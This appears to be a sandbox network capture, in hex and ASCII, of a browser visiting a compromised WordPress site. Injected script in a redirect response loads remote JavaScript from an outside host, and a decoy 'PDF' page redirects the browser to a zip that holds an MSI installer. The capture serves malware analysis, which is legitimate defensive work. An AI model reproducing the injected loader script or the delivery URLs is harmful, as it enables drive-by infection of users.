2024-04-16 07:19:30 UTC	627	OUT	GET /favicon.ico HTTP/1.1 Host: map.sewoon.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:19:30 UTC	397	IN	HTTP/1.1 302 Found Date: Tue, 16 Apr 2024 07:19:30 GMT Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1n X-Powered-By: PHP/7.4.21 Link: <https://map.sewoon.org/wp-json/>; rel="https://api.w.org/" X-Redirect-By: WordPress Location: https://map.sewoon.org/wp-content/uploads/2021/08/cropped-favicon-32x32.png Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-16 07:19:30 UTC	514	IN	Data Raw: 31 66 36 0d 0a 0d 0a 09 09 09 3c 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 09 09 09 09 73 2e 73 72 63 3d 27 2f 2f 62 75 6a 65 72 64 61 7a 2e 63 6f 6d 2f 70 66 65 2f 63 75 72 72 65 6e 74 2f 6d 69 63 72 6f 2e 74 61 67 2e 6d 69 6e 2e 6a 73 3f 7a 3d 35 36 35 30 34 35 36 27 2b 27 26 73 77 3d 2f 73 77 2d 63 68 65 63 6b 2d 70 65 72 6d 69 73 73 69 6f 6e 73 2d 65 32 61 38 62 2e 6a 73 27 3b 0d 0a 09 09 09 09 73 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 75 6c 74 29 20 7b 0d 0a 09 09 09 09 09 73 77 69 74 63 68 20 28 72 65 73 75 6c 74 29 20 7b 0d 0a 09 09 09 09 09 09 63 61 73 65 20 27 6f 6e 50 65 72 6d 69 73 73 69 6f 6e Data Ascii: 1f6<script>var s = document.createElement('script');s.src='//bujerdaz.com/pfe/current/micro.tag.min.js?z=5650456'+'&sw=/sw-check-permissions-e2a8b.js';s.onload = function(result) {switch (result) {case 'onPermission

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:30 UTC	668	OUT	GET /wp-content/uploads/2021/08/cropped-favicon-32x32.png HTTP/1.1 Host: map.sewoon.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:19:31 UTC	262	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 07:19:31 GMT Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1n Last-Modified: Fri, 06 Aug 2021 09:18:46 GMT ETag: "58a-5c8e085cc33eb" Accept-Ranges: bytes Content-Length: 1418 Connection: close Content-Type: image/png
2024-04-16 07:19:31 UTC	1418	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 05 51 49 44 41 54 58 c3 a5 97 dd 8f 24 65 15 c6 7f e7 ad aa ee de ee f9 dc 1d 64 c9 ba 86 08 8b bb 18 c2 a2 72 81 98 10 b8 b0 43 62 b2 a8 e1 4a fe 01 b9 ec 3b 88 77 92 18 2f 1c 63 44 12 b2 81 a0 17 0b 1a be 4c 54 32 64 43 50 50 57 9c 05 36 12 d6 f0 e1 c2 b2 3b e3 ac 83 33 d3 55 dd 55 f5 56 d5 7b b8 98 de 9d ee 9e ee 9e 9e e5 4d 3a d5 49 55 3d e7 39 e7 39 5f 25 ec e2 98 f9 79 01 a6 81 2f 01 47 80 83 c0 2c b0 01 2c 03 67 81 73 c0 1a e0 5c a3 b1 23 a6 ec c2 f0 14 70 27 62 be 87 e7 dd 41 e0 7f 41 8d 5f c3 48 19 55 2b 45 11 93 67 ab 14 c5 69 9c fb 3d 70 12 f8 d4 35 1a fa b9 08 98 f9 79 03 1c 41 e4 41 82 d2 7d 5a ad ee d7 ca 1e 83 1f 80 11 10 03 aa e0 1c 14 Data Ascii: PNGIHDR szzQIDATX$edrCbJ;w/cDLT2dCPPW6;3UUV{M:IU=99_%y/G,,gs\#p'bAA_HU+Egi=p5yAA}Z

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:32 UTC	390	OUT	GET /wp-content/uploads/2021/08/cropped-favicon-32x32.png HTTP/1.1 Host: map.sewoon.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:19:32 UTC	262	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 07:19:32 GMT Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1n Last-Modified: Fri, 06 Aug 2021 09:18:46 GMT ETag: "58a-5c8e085cc33eb" Accept-Ranges: bytes Content-Length: 1418 Connection: close Content-Type: image/png
2024-04-16 07:19:32 UTC	1418	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 05 51 49 44 41 54 58 c3 a5 97 dd 8f 24 65 15 c6 7f e7 ad aa ee de ee f9 dc 1d 64 c9 ba 86 08 8b bb 18 c2 a2 72 81 98 10 b8 b0 43 62 b2 a8 e1 4a fe 01 b9 ec 3b 88 77 92 18 2f 1c 63 44 12 b2 81 a0 17 0b 1a be 4c 54 32 64 43 50 50 57 9c 05 36 12 d6 f0 e1 c2 b2 3b e3 ac 83 33 d3 55 dd 55 f5 56 d5 7b b8 98 de 9d ee 9e ee 9e 9e e5 4d 3a d5 49 55 3d e7 39 e7 39 5f 25 ec e2 98 f9 79 01 a6 81 2f 01 47 80 83 c0 2c b0 01 2c 03 67 81 73 c0 1a e0 5c a3 b1 23 a6 ec c2 f0 14 70 27 62 be 87 e7 dd 41 e0 7f 41 8d 5f c3 48 19 55 2b 45 11 93 67 ab 14 c5 69 9c fb 3d 70 12 f8 d4 35 1a fa b9 08 98 f9 79 03 1c 41 e4 41 82 d2 7d 5a ad ee d7 ca 1e 83 1f 80 11 10 03 aa e0 1c 14 Data Ascii: PNGIHDR szzQIDATX$edrCbJ;w/cDLT2dCPPW6;3UUV{M:IU=99_%y/G,,gs\#p'bAA_HU+Egi=p5yAA}Z

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:38 UTC	726	OUT	GET /1/themes/es/?cid=dcp@sanitasresidencial.com HTTP/1.1 Host: map.sewoon.org Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:19:39 UTC	221	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 07:19:39 GMT Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1n X-Powered-By: PHP/7.4.21 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-16 07:19:39 UTC	138	IN	Data Raw: 37 66 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 6f 66 66 73 65 74 3a 20 31 20 69 6e 20 3c 62 3e 2f 62 69 74 6e 61 6d 69 2f 77 6f 72 64 70 72 65 73 73 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 73 2f 69 6e 64 65 78 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 33 36 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7f<br /><b>Notice</b>: Undefined offset: 1 in <b>/bitnami/wordpress/wp-content/themes/es/index.php</b> on line <b>36</b><br />0

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:39 UTC	627	OUT	GET /favicon.ico HTTP/1.1 Host: map.sewoon.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:19:40 UTC	397	IN	HTTP/1.1 302 Found Date: Tue, 16 Apr 2024 07:19:39 GMT Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1n X-Powered-By: PHP/7.4.21 Link: <https://map.sewoon.org/wp-json/>; rel="https://api.w.org/" X-Redirect-By: WordPress Location: https://map.sewoon.org/wp-content/uploads/2021/08/cropped-favicon-32x32.png Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-16 07:19:40 UTC	514	IN	Data Raw: 31 66 36 0d 0a 0d 0a 09 09 09 3c 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 09 09 09 09 73 2e 73 72 63 3d 27 2f 2f 62 75 6a 65 72 64 61 7a 2e 63 6f 6d 2f 70 66 65 2f 63 75 72 72 65 6e 74 2f 6d 69 63 72 6f 2e 74 61 67 2e 6d 69 6e 2e 6a 73 3f 7a 3d 35 36 35 30 34 35 36 27 2b 27 26 73 77 3d 2f 73 77 2d 63 68 65 63 6b 2d 70 65 72 6d 69 73 73 69 6f 6e 73 2d 65 32 61 38 62 2e 6a 73 27 3b 0d 0a 09 09 09 09 73 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 75 6c 74 29 20 7b 0d 0a 09 09 09 09 09 73 77 69 74 63 68 20 28 72 65 73 75 6c 74 29 20 7b 0d 0a 09 09 09 09 09 09 63 61 73 65 20 27 6f 6e 50 65 72 6d 69 73 73 69 6f 6e Data Ascii: 1f6<script>var s = document.createElement('script');s.src='//bujerdaz.com/pfe/current/micro.tag.min.js?z=5650456'+'&sw=/sw-check-permissions-e2a8b.js';s.onload = function(result) {switch (result) {case 'onPermission

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:41 UTC	726	OUT	GET /1/themes/es/?cid=dcp@sanitasresidencial.com HTTP/1.1 Host: map.sewoon.org Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:19:42 UTC	221	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 07:19:42 GMT Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1n X-Powered-By: PHP/7.4.21 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-16 07:19:42 UTC	138	IN	Data Raw: 37 66 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 6f 66 66 73 65 74 3a 20 31 20 69 6e 20 3c 62 3e 2f 62 69 74 6e 61 6d 69 2f 77 6f 72 64 70 72 65 73 73 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 73 2f 69 6e 64 65 78 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 33 36 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7f<br /><b>Notice</b>: Undefined offset: 1 in <b>/bitnami/wordpress/wp-content/themes/es/index.php</b> on line <b>36</b><br />0

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:42 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2UH8AlrE5awpckG&MD=f1W39G+T HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-16 07:19:43 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c3cac069-e551-4fde-8bcb-af2df318a8fc MS-RequestId: 128424d4-72b7-4e0a-afca-2a90ac86bdfa MS-CV: 78S3LaN5nUeaYk3W.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 16 Apr 2024 07:19:42 GMT Connection: close Content-Length: 24490
2024-04-16 07:19:43 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-16 07:19:43 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:43 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 07:19:43 UTC	468	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=171845 Date: Tue, 16 Apr 2024 07:19:43 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:19:43 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 07:19:43 UTC	456	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=171845 Date: Tue, 16 Apr 2024 07:19:43 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-16 07:19:43 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:20:03 UTC	663	OUT	GET /rand.html HTTP/1.1 Host: nertaos.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:20:03 UTC	632	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 07:20:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 15 Apr 2024 14:25:37 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hK%2F%2Bs0CnHucQaS1K0a%2FZmBQN%2Fifj5xVr6aUCnP77cRtr%2F9V09d1qFTxvy4Zm9cfViwdPYL2Cz2eSzor54JcychaqIJMyiTIbOWEO7m1702Egi%2BJbA8E8UybAnvqhqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8752691dde3289ed-ORD alt-svc: h3=":443"; ma=86400
2024-04-16 07:20:03 UTC	737	IN	Data Raw: 34 39 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 44 46 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 41 72 72 61 79 20 64 65 20 31 30 20 6c 69 6e 6b 73 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6c 69 6e 6b 73 20 3d 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 6e 65 72 74 61 6f 73 2e 63 6f 6d 2f 64 6f 77 6e 2f 44 4f 43 37 30 32 31 39 38 37 33 38 31 36 50 44 46 5f 30 31 2e 7a 69 70 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 6e 65 72 74 61 6f 73 2e 63 6f 6d 2f 64 6f 77 6e 2f 44 4f 43 37 30 32 31 39 38 37 33 38 31 36 50 44 46 5f 30 32 2e 7a Data Ascii: 49c<!DOCTYPE html><html><head> <title>PDF</title> <script> // Array de 10 links var links = [ "https://nertaos.com/down/DOC70219873816PDF_01.zip", "https://nertaos.com/down/DOC70219873816PDF_02.z
2024-04-16 07:20:03 UTC	450	IN	Data Raw: 74 74 70 73 3a 2f 2f 6e 65 72 74 61 6f 73 2e 63 6f 6d 2f 64 6f 77 6e 2f 44 4f 43 37 30 32 31 39 38 37 33 38 31 36 50 44 46 5f 31 30 2e 7a 69 70 2f 22 0d 0a 20 20 20 20 20 20 20 20 5d 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 52 65 64 69 72 65 63 69 6f 6e 61 72 20 61 75 74 6f 6d 61 74 69 63 61 6d 65 6e 74 65 20 70 61 72 61 20 75 6d 20 6c 69 6e 6b 20 61 6c 65 61 74 c3 b3 72 69 6f 20 61 6f 20 63 61 72 72 65 67 61 72 20 61 20 70 c3 a1 67 69 6e 61 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 61 6e 64 6f 6d 49 6e 64 65 78 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 20 2a 20 6c 69 6e 6b 73 2e 6c Data Ascii: ttps://nertaos.com/down/DOC70219873816PDF_10.zip/" ]; // Redirecionar automaticamente para um link aleatrio ao carregar a pgina window.onload = function() { var randomIndex = Math.floor(Math.random() * links.l
2024-04-16 07:20:03 UTC	7	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a Data Ascii: 2
2024-04-16 07:20:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-04-16 07:20:03 UTC	710	OUT	GET /down/DOC70219873816PDF_02.zip HTTP/1.1 Host: nertaos.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://nertaos.com/rand.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 07:20:03 UTC	654	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 07:20:03 GMT Content-Type: application/zip Content-Length: 36082601 Connection: close Last-Modified: Mon, 15 Apr 2024 14:00:48 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ir3XlGZTYm6XhHwrSa1NAMzVjftAnoTUmNtpAkYs%2FD6Hkh4rcFvZvOR0UMp8wbXFx0ZDdtdf0OPtZtfdXKgd5WBWxeq5ZkEdB7bKuCDyv0Cr6qZzR1bG%2FjBUiiLoHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8752691f5d156172-ORD alt-svc: h3=":443"; ma=86400
2024-04-16 07:20:03 UTC	715	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 85 56 8f 58 88 34 c4 51 f3 92 26 02 00 0c 36 02 18 00 00 00 44 4f 43 37 30 32 31 39 38 37 33 38 31 36 50 44 46 5f 30 32 2e 6d 73 69 cc 9a 7f 70 1c e5 79 c7 f7 84 8c 0d 98 80 83 c3 6f c8 62 c0 96 41 3e 4b 32 bf 0f 90 4f ba 93 4f 58 92 85 25 9b 1f 81 88 bd dd f7 ee 5e b4 b7 7b ec ee 49 3a 07 82 68 71 13 9a 2a 8e 93 92 90 36 8a 4a 5b 52 9a a2 16 03 69 9a b6 94 34 6d d3 94 74 d2 4c db e9 64 da 99 4e 3a c3 1f fd 23 d3 69 e9 4c 4b 3a 43 d4 ef f3 fe d8 db 3b 09 23 ab fc d1 7b e7 a3 db db 7d 7f 3e ef f3 3e ef f3 bc ab 1f fe cd b6 1f 3f 7f ea f2 7f 31 da 3e 77 1b 67 19 3f 5b 39 c7 38 3b 71 ef d6 0e c3 48 e9 1f 17 1a c8 61 18 b8 65 fc e0 3c c3 e8 54 b7 0b e0 ef 00 43 c6 77 c0 1c 32 bc 0c 4e 81 57 c0 ab e0 35 f0 0d f0 af 9b 90 1f 0d 0c Data Ascii: PKVX4Q&6DOC70219873816PDF_02.msipyobA>K2OOX%^{I:hq*6J[Ri4mtLdN:#iLK:C;#{}>>?1>wg?[98;qHae<TCw2NW5
2024-04-16 07:20:03 UTC	1369	IN	Data Raw: 3c f1 8f 29 61 2b ee 90 f7 36 41 72 75 8c aa 6a 58 a2 ed 61 f4 a2 84 1e 05 e2 4e 84 f1 fb 62 bc ef f5 e9 82 05 5a 49 7c 8c 75 7c be 08 3e dd 21 af f7 17 de cc fe 34 ff 83 a1 17 b3 ef e4 bb fa bb f2 b7 0d 9c ca 76 15 8c 75 7f 2e dd 40 fb df 53 76 d2 10 ed 3f d9 ef 64 f7 0e dc 52 30 36 f4 d9 6a 74 a4 ee 52 6b 60 bd ed 5f aa 74 d9 10 ed f7 67 de 1e bc 2d 77 2a 6f 6c e8 b3 75 03 e3 a7 cf cb 9b e2 f6 fb 67 f3 6e ee d1 bb 5f c9 ed dd 80 0c 2e c4 f8 cf 56 63 5f 6f fb 0e 8c d9 8f ae 6a 6b 3f f3 56 fe ba 8d b5 7f c6 e3 3f 07 2c dc 23 77 d2 fd 85 0b 06 de ca cf e5 bb 32 7d b9 57 73 bd 03 ff 91 3f 33 4d b8 18 e3 df a6 ec f2 7a db bf 44 f4 5b 7e 52 6a 0f a7 bd bc d3 68 da 7f da 0f b6 a8 be 6e c4 fe 93 8d 26 2e 53 d7 ef 67 ff af 55 f6 7f 57 a2 ec 7b d9 7f da 2b da ed Data Ascii: 